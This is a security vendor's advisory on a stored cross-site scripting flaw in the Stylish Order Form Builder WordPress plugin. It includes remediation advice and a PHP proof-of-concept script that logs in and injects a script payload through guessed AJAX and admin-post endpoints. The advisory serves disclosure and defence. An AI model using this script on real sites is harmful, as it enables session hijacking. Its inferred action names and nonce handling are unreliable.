Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13531: Stylish Order Form Builder <= 1.0 – Authenticated (Subscriber+) Stored Cross-Site Scripting via 'product_name' Parameter (stylish-order-form-builder)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13531 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Stylish Order Form Builder WordPress plugin. The ‘product_name’ parameter lacks proper sanitization and output escaping. Attackers with Subscriber-level or higher privileges can inject malicious scripts that persist and execute when affected pages load. The CVSS 6.4 score reflects medium severity with scope change and low impact on confidentiality and integrity.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘product_name’ parameter. The CWE-79 classification confirms improper neutralization of input during web page generation. Without code diff access, this conclusion is inferred from the vulnerability description and CWE mapping. The plugin likely processes user-supplied product names without applying WordPress sanitization functions like `sanitize_text_field()` or output escaping functions like `esc_html()` before storage and display.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker submits a crafted request containing JavaScript payloads in the ‘product_name’ parameter. This parameter likely appears in an order form creation or management interface, possibly via AJAX handlers or admin POST endpoints. A typical payload might be `alert(document.cookie)` or more sophisticated exfiltration scripts. The injected script executes in victims’ browsers when they view pages containing the malicious product name.

Remediation requires implementing proper input validation and output escaping. Developers should apply WordPress core sanitization functions like `sanitize_text_field()` or `wp_kses_post()` before storing the ‘product_name’ value. Output escaping functions like `esc_html()` or `esc_attr()` must be used when displaying the value in HTML contexts. WordPress nonce verification and capability checks should also be present to prevent CSRF attacks and ensure proper authorization.

Successful exploitation allows attackers to perform actions within victims’ sessions. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Since the vulnerability affects authenticated users, attackers could target administrators to gain higher privileges. The stored nature means a single injection affects all users viewing the compromised page, amplifying the attack’s reach.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13531 - Stylish Order Form Builder <= 1.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'product_name' Parameter

<?php
/**
 * Proof of Concept for CVE-2025-13531
 * Assumptions based on metadata:
 * 1. Plugin uses AJAX or admin-post endpoints for form submissions
 * 2. 'product_name' parameter accepts unsanitized input
 * 3. Subscriber-level users can access the vulnerable endpoint
 * 4. Plugin slug 'stylish-order-form-builder' maps to action names
 */

$target_url = 'http://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS

// XSS payload - modify as needed
$malicious_product_name = '<script>alert("Atomic Edge XSS Test");</script>';

// WordPress login to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Check login success by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Attempt exploitation via likely AJAX endpoint
// Common WordPress pattern: /wp-admin/admin-ajax.php?action=plugin_prefix_action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'stylish_order_form_builder_save_product', // Inferred action name
    'product_name' => $malicious_product_name,
    // Additional parameters may be required based on plugin functionality
    'nonce' => 'inferred_or_bruteforced', // Nonce may be required but could be bypassed
    'product_id' => '1', // Assuming product ID parameter exists
    'product_price' => '10.00' // Additional required fields
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);

// Alternative: Try admin-post.php endpoint
$admin_post_url = $target_url . '/wp-admin/admin-post.php';
$admin_post_data = array(
    'action' => 'stylish_order_form_builder_update',
    'product_name' => $malicious_product_name,
    'submit' => 'Save Changes'
);

curl_setopt($ch, CURLOPT_URL, $admin_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($admin_post_data));
$admin_post_response = curl_exec($ch);

curl_close($ch);

// Verify payload was stored by checking if it appears in page output
$check_url = $target_url . '/?post_type=stylish_order_form';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$page_content = curl_exec($ch);
curl_close($ch);

if (strpos($page_content, $malicious_product_name) !== false) {
    echo "SUCCESS: XSS payload appears to be stored. Check $target_url for script execution.n";
} else {
    echo "Payload may not have been accepted. Try different endpoints or parameters.n";
    echo "Common WordPress endpoints to test:n";
    echo "- /wp-admin/admin-ajax.php with various 'action' parameter valuesn";
    echo "- /wp-admin/admin-post.php with various 'action' parameter valuesn";
    echo "- Direct plugin file: /wp-content/plugins/stylish-order-form-builder/n";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School